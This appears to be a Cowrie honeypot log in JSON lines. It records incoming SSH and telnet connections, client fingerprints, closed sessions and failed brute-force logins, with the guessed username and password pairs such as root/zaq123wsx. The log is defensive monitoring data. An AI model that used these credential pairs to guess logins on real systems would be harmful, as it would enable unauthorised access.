{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":49118,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2138678da13","protocol":"telnet","message":"New connection: 94.23.66.112:49118 (10.17.0.5:23) [session: f2138678da13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:21.997862Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":40598,"dst_ip":"10.17.0.5","dst_port":22,"session":"65bc05830929","protocol":"ssh","message":"New connection: 103.149.28.157:40598 (10.17.0.5:22) [session: 65bc05830929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:22.057541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:22.061517Z","src_ip":"103.149.28.157","session":"65bc05830929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:22.309998Z","src_ip":"103.149.28.157","session":"65bc05830929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexandra1","message":"login attempt [root/alexandra1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:23.060189Z","src_ip":"103.149.28.157","session":"65bc05830929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:24.310970Z","src_ip":"103.149.28.157","session":"65bc05830929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.198.253","src_port":38999,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c1c7191c6f9","protocol":"ssh","message":"New connection: 103.86.198.253:38999 (159.203.135.109:22) [session: 0c1c7191c6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:24.718705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:24.723208Z","src_ip":"103.86.198.253","session":"0c1c7191c6f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:24.991334Z","src_ip":"103.86.198.253","session":"0c1c7191c6f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest2024","message":"login attempt [ftptest/ftptest2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:26.105528Z","src_ip":"103.86.198.253","session":"0c1c7191c6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:27.376518Z","src_ip":"103.86.198.253","session":"0c1c7191c6f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.37887454032898,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:32.376593Z","src_ip":"94.23.66.112","session":"f2138678da13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":57280,"dst_ip":"10.17.0.5","dst_port":22,"session":"4492cb6fee4c","protocol":"ssh","message":"New connection: 81.177.101.45:57280 (10.17.0.5:22) [session: 4492cb6fee4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:37.941110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:37.944632Z","src_ip":"81.177.101.45","session":"4492cb6fee4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:38.064863Z","src_ip":"81.177.101.45","session":"4492cb6fee4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nihao","message":"login attempt [root/nihao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:38.577621Z","src_ip":"81.177.101.45","session":"4492cb6fee4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:39.703592Z","src_ip":"81.177.101.45","session":"4492cb6fee4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":45096,"dst_ip":"10.17.0.5","dst_port":22,"session":"10eb1ee8b407","protocol":"ssh","message":"New connection: 190.244.39.224:45096 (10.17.0.5:22) [session: 10eb1ee8b407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:57.986007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:57.993648Z","src_ip":"190.244.39.224","session":"10eb1ee8b407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:58.169677Z","src_ip":"190.244.39.224","session":"10eb1ee8b407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xx123123","message":"login attempt [root/Xx123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:58.856299Z","src_ip":"190.244.39.224","session":"10eb1ee8b407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.113.139.51","src_port":50828,"dst_ip":"159.203.135.109","dst_port":22,"session":"534eb0f3d997","protocol":"ssh","message":"New connection: 185.113.139.51:50828 (159.203.135.109:22) [session: 534eb0f3d997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:59.632708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:59.635882Z","src_ip":"185.113.139.51","session":"534eb0f3d997","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:20:59.738556Z","src_ip":"185.113.139.51","session":"534eb0f3d997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:00.040225Z","src_ip":"190.244.39.224","session":"10eb1ee8b407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq123wsx","message":"login attempt [root/zaq123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:00.185776Z","src_ip":"185.113.139.51","session":"534eb0f3d997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:01.355403Z","src_ip":"185.113.139.51","session":"534eb0f3d997","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.409730672836304,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:03.746089Z","src_ip":"94.23.66.112","session":"91126b7c2b70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01120495796204,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:19.414182Z","src_ip":"137.184.5.188","session":"395efdeadbe3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":54306,"dst_ip":"10.17.0.5","dst_port":22,"session":"176179c65ef7","protocol":"ssh","message":"New connection: 103.78.1.33:54306 (10.17.0.5:22) [session: 176179c65ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:19.465493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:19.469250Z","src_ip":"103.78.1.33","session":"176179c65ef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:19.693272Z","src_ip":"103.78.1.33","session":"176179c65ef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweQWE123!@#","message":"login attempt [root/qweQWE123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:20.625753Z","src_ip":"103.78.1.33","session":"176179c65ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:21.855391Z","src_ip":"103.78.1.33","session":"176179c65ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45684,"dst_ip":"10.17.0.5","dst_port":22,"session":"45cd426b0d5a","protocol":"ssh","message":"New connection: 193.37.70.224:45684 (10.17.0.5:22) [session: 45cd426b0d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:26.431719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:26.435493Z","src_ip":"193.37.70.224","session":"45cd426b0d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:26.523879Z","src_ip":"193.37.70.224","session":"45cd426b0d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140777","message":"login attempt [root/140777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:26.792847Z","src_ip":"193.37.70.224","session":"45cd426b0d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:27.883803Z","src_ip":"193.37.70.224","session":"45cd426b0d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":42412,"dst_ip":"10.17.0.5","dst_port":22,"session":"797640524142","protocol":"ssh","message":"New connection: 91.92.40.176:42412 (10.17.0.5:22) [session: 797640524142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:35.905751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:35.909568Z","src_ip":"91.92.40.176","session":"797640524142","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:35.989913Z","src_ip":"91.92.40.176","session":"797640524142","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345","message":"login attempt [test/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:36.235252Z","src_ip":"91.92.40.176","session":"797640524142","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:37.681111Z","src_ip":"91.92.40.176","session":"797640524142","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":58254,"dst_ip":"159.203.135.109","dst_port":22,"session":"b711211f1691","protocol":"ssh","message":"New connection: 45.61.148.179:58254 (159.203.135.109:22) [session: b711211f1691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:37.989827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:21:37.993622Z","src_ip":"45.61.148.179","session":"b711211f1691","protocol":"ssh"}
